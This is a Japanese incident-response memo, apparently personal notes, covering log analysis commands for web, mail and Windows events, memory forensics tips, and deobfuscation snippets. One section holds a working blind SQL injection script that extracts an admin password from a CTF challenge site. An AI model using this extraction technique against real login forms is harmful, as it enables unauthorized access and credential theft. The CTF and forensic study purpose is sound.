解析memo

DFIRに役立つことを少しずつ加筆しようと思う。

# phpMyAdminへのブルートフォース
"POST /phpMyAdmin/index.php HTTP/1.1" 200 4567 "-" "UA"
"GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 200 4434 "-" "UA"
"POST /phpMyAdmin/index.php HTTP/1.1" 302 20 "-" "UA"
"GET /phpMyAdmin/index.php?route=/&route=%2F HTTP/1.1" 200 16878 "http://x.x.x.x/phpMyAdmin/index.php" "UA"

# コンパネ
マニュアルにダウンロードの説明が無かったので不安を抱えたまま現地に行ったが、ログを複数選択して圧縮し、圧縮したファイルを選択して、i詳細をクリックするとダウンロード出来た。
ホームページの開設優先で、保守に関しては、マニュアル段階で手薄。


# vhdx修復用テストデータの作成
windows + x
ディスクの管理
C:をクリック
操作
VHDの作成
場所：c:\\users\\[user]\\desktop\\test.vhdx
サイズ：256MBくらい
フォーマット：VHDX
種類：容量固定
ディスク１ができた。
ディスク１を右クリック　ディスクの初期化
240 MB 未割り当て　を右クリック　新しいシンプルボリューム
次へ　次へ　完了
復元訓練をするために、フォルダや画像ファイル等をコピー
ディスク１を右クリック　VHDの切断
あとはランサムウェアの癖に応じて、お好きに壊して

NTFS パーティションを dd で切り出すなら `EB 52 90 4E 54 46 53 20 20 20 20` を検索

# デベロッパーツール
Network で js を選択し Responsでソースを確認
`{ }` で見やすくし、ctrl+f で`http`などの文字検索も可能

# qmail アカウントが侵害され、スパムを送信された

tar.gzの解凍
```
tar -zxvf filename.tar.gz
```

.gzファイルを一気に解凍する
```
find ./ -type f -name "*.gz" -exec gunzip {} \;
```

tai64n 形式のタイムスタンプに対応するため、daemontoolsをインスト
```
sudo apt install daemontools
```
侵害されたアカウント（例ではtest@test.jp）でgrepし、次行の to も抽出する
```
cd /var/log/qmail
grep -r -h \<test@test.jp\> -A 1 |  tai64nlocal > spam.log
```
（訂正）-h忘れてました。-hが無いと、ファイル名が tai64nlocal される。
（追記）tai64nlocalを実行した環境のタイムゾーンに依存する。

from to を１行に
```
cat spam.log | awk '{ if (/ from /) { printf "%s ", $0 } else if (/ to /) { print $0 } }' > spam_1L.log
```
to remoote だけに絞るのは excel で
なお、delivery 99999999: success などの行は見ていないので、あくまで送信を試みた件数や送信先の把握に

# sendmail　１行に

sendmail の from 行と to 行をくっつける
sort -k 6　で、確実に from と to をくっつけることが出来る

```
cat maillog | sort -k 6 | awk '{ if (/from=/) { printf "%s ", $0 } else if (/to=/) { print $0 } }' > maillog_1L.log
```


# Windows Server

外からSSL-VPNにログインされた後、RDPで接続された
SecurityログについてはCYDER-Cで勉強したログオンタイプ 3 と 10 の話
TerminalServices-LocalSessionManager
21　ログオン成功（接続元はSSL-VPNのLAN側NICのIP）
22　シェルの開始通知
23　ログオフ　※Securityは4624だけなので、これから終了時間がわかる
24　セッション切断　※Securityは4624だけなので、これから終了時間がわかる
TerminalServices-RemoteConnectionManager
261　RDP-Tcpで接続を受信
1149　リモートデスクトップサービス：ユーザー認証に成功（接続元はSSL-VPNのLAN側NICのIP）

MS-Win-SMBSvr/Sec 1006（The share denied access to the client.）には、アクセスを試みたフォルダが具体的に記録される。
このログを証拠として、D:\xxフォルダが閲覧されたと断言している報告書を見たことあるが、疑問だ。
それとも私の勉強不足？

4624　ANONYMOUS LOGON　の評価方法
近接して、MS-Win-SMBSvr/Sec 551　等がある場合、基本、攻撃失敗（SMBのログを詳細に見ること）

Microsoft-Windows-SMBServer%4Audit.evtx
Microsoft-Windows-SMBServer%4Connectivity.evtx
Microsoft-Windows-SMBServer%4Operational.evtx
Microsoft-Windows-SMBServer%4Security.evtxy

RecentAppsは、win11から無くなったため、SANSの最新のPOSTERから消えているが、Windows Serverでは有効な場合がある。（ADのRecentAppsから攻撃の痕跡が出た）

Windows Server の C:\Windows\System32\LogFiles\SUM を解析すると、Securityイベントログの4624の代わりになる。（イベントログを消されていた場合に有効）

# 教養やCTFで使う不審なIPのリスト（ホスト名付き）

https://myip.ms/browse/blacklist/Blacklist_IP_Blacklist_IP_Addresses_Live_Database_Real-time

# vol3
Volatility 3 の windows.netscan などが動かないとき、-vvでデバッグする
```
python3 vol.py -f memdump.mem windows.netscan -vv

sudo apt update
sudo apt install python3-pefile
sudo apt install python3-yara
```
あとは、Cryptoをいごいごする
```
sudo apt install python3-crypto
sudo apt install python3-pycrypto
sudo apt install python3-pycryptodome

sudo apt autoremove python3-crypto
sudo apt autoremove python3-pycrypto
sudo apt autoremove python3-pycryptodome

sudo apt install python3-crypto
sudo apt install python3-pycrypto
sudo apt install python3-pycryptodome

sudo apt remove python3-crypto
sudo apt remove python3-pycrypto
sudo apt remove python3-pycryptodome

sudo apt install python3-pycryptodome
```


# python httpd
pythonでローカルwebサーバを立ち上げる
```
python -m http.server 80
```

# grep
ブルートフォース発見
```shell:１時間あたりのログイン失敗が多いIP
cat access_log | grep "login.php" | grep " 200 " | awk '{print $1, $4}' | sed 's/\[//g' | cut -d: -f1,2 | sort | uniq -c | sort -n
```
上記でうまくいかない場合
```shell:分単位
cat access_log | grep "login.php" | grep " 200 " | awk '{print $1, $4}' | sed 's/\[//g' | cut -d: -f1,2,3 | sort | uniq -c | sort -n
```

正規表現がうまく動いていない場合
```shell:失敗例
cat access_log | grep 'http(s?)://[0-9a-zA-Z]{5,20}\.[a-z]{2}/'
```
```shell:成功例
cat access_log | grep -E 'http(s?)://[0-9a-zA-Z]{5,20}\.[a-z]{2}/'
```

正規表現が邪魔する場合、件数カウントの罠
```shell:失敗例
cat access_log | grep "158.85.2.5" | grep "POST" | grep "login.php" | grep " 302 " | wc -l
```
IPアドレス 58.85.215.*などもヒットして間違った集計をしてしまう

```shell:成功例
cat access_log | grep -F "158.85.2.5 " | grep "POST" | grep "login.php" | grep " 302 " | wc -l
```

統計
```shell:IPアドレス
cat access_log | awk -F ' ' '{print $1}' | sort | uniq -c | sort -nr
```
```shell:ユーザーエージェント
cat access_log | awk -F '"' '{print $6}' | sort | uniq -c | sort -nr
```
```shell:IPアドレスとユーザーエージェント
cat access_log | awk -F '\\[|\\]|"' '{split($1, arr, " "); print arr[1], $8}' | sort | uniq -c | sort -nr
```

squidのunixtimeを変換する

```shell:
cat squid.log | awk '{sub(/[0-9]+\.[0-9]+/, strftime("%c",$1));print;}'
```

IPアドレス
```shell:IPアドレスっぽいもの
cat text | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}"
```

```shell:URLアドレスっぽいもの
cat text | grep -oE "http(s?)://[0-9a-zA-Z?=#+_&:/.%]+"
```

google_location.json

```shell:13桁の数字は、unixtime millisecondsと決めつけて処理
cat google_location.json | awk '{if(match($0,/[0-9]{13}/)){sub(/[0-9]{13}/,strftime("%Y-%m-%d %H:%M:%S %Z",substr($0,RSTART,RLENGTH)/1000))};print;}'
```

# SQLi

ブラインドSQLi

```python:ksnctf 6: Login
import requests
import time

def main():
    start = time.time()
    
    url = 'http://ctfq.u1tramarine.blue/q6/'
    sql = '\' or 1=1 --'
    payload = {'id': sql,}
    response = requests.post(url, data=payload)
    print(len(response.text))

    # 2237

    sql = 'admin'
    payload = {'id': sql,}
    response = requests.post(url, data=payload)
    print(len(response.text))

    # 484

    '''
    2237が返ってくるときSQLインジェクションが成功
    '''

    for i in range(1, 100):
        #print('LENGTH(pass) = ' + str(i))
        sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format(counter=i)
        payload = {
            'id': sql,
        }
        response = requests.post(url, data=payload)
        if len(response.text) > 2000:
            print('length of the password is {counter}'.format(counter=i))
            break

    # パスワード長は、21

    password = ''
    for index in range(1, 21 + 1):
        print('index = ' + str(index))
        for char_number in range(48, 123):
            char = chr(char_number)
            #print('char = ' + char)
            sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format(index=index, char=char)
            payload = {
                'id': sql,
                'pass': ''
            }
            response = requests.post(url, data=payload)
            if len(response.text) > 2000:
                password += char
                print(password)
                break

    print(password)


    elapsed_time = time.time() - start
    print ("elapsed_time:{0}".format(elapsed_time) + "[sec]")

    '''
    FLAG_KpWa4ji3uZk6TrPK
    elapsed_time:44.451918601989746[sec]
    '''

if __name__ == '__main__':
    main()
```

# sqlite-tools-win32

sqlite3 <ファイル名>  で起動
.database で続しているデータベースを確認
.tables で接続しているデータベースのテーブル一覧を確認
.headers on でカラム名を表示
select * from sqlite_master where type = 'table'; でテーブルのカラムを調べる

```sql:ブラウザの履歴
SELECT datetime((visits.visit_time/1000000)-11644473600,'unixepoch','localtime') as '日時', urls.url as 'URL', urls.title as 'タイトル', urls.visit_count as '回数' FROM visits,urls WHERE urls.id = visits.url;
```

# 難読化

xor
```python:マルチバイトxor
ext = u'S]1\u0001 VLY:\a8\u001dns[\u001c81I~I5<\v\u0001Sk_$\u0013\v'
key = 'ysAqTvfwJwLeNYudTBiTgMPx'
dec = ''
for i in range(len(ext)):
    dec = dec + chr(ord(ext[i]) ^ ord(key[i % len(key) ]))
print(dec)
```

```python:sagawa.apk
ext = "傘偘傰傠储偈傘傘傀偠傠储储僸储僐僨傠傀"
dec = ""
j = 0
for i in range(len(ext)):
    dec = dec + chr((ord(ext[i]) - 0x4e00) >> 3 ^ ord("beg"[j]))
    j = (j+1) %3
print(dec)
```

DES

```python:DES
from Crypto.Cipher import DES
import base64
enc = base64.urlsafe_b64decode("FLd6x1SyIHYywzjnHkCPiia3FtWLPFQa")
key = b"Ab5d1Q32"
des = DES.new(key,2,key)
dec = des.decrypt(enc)
print(dec)
```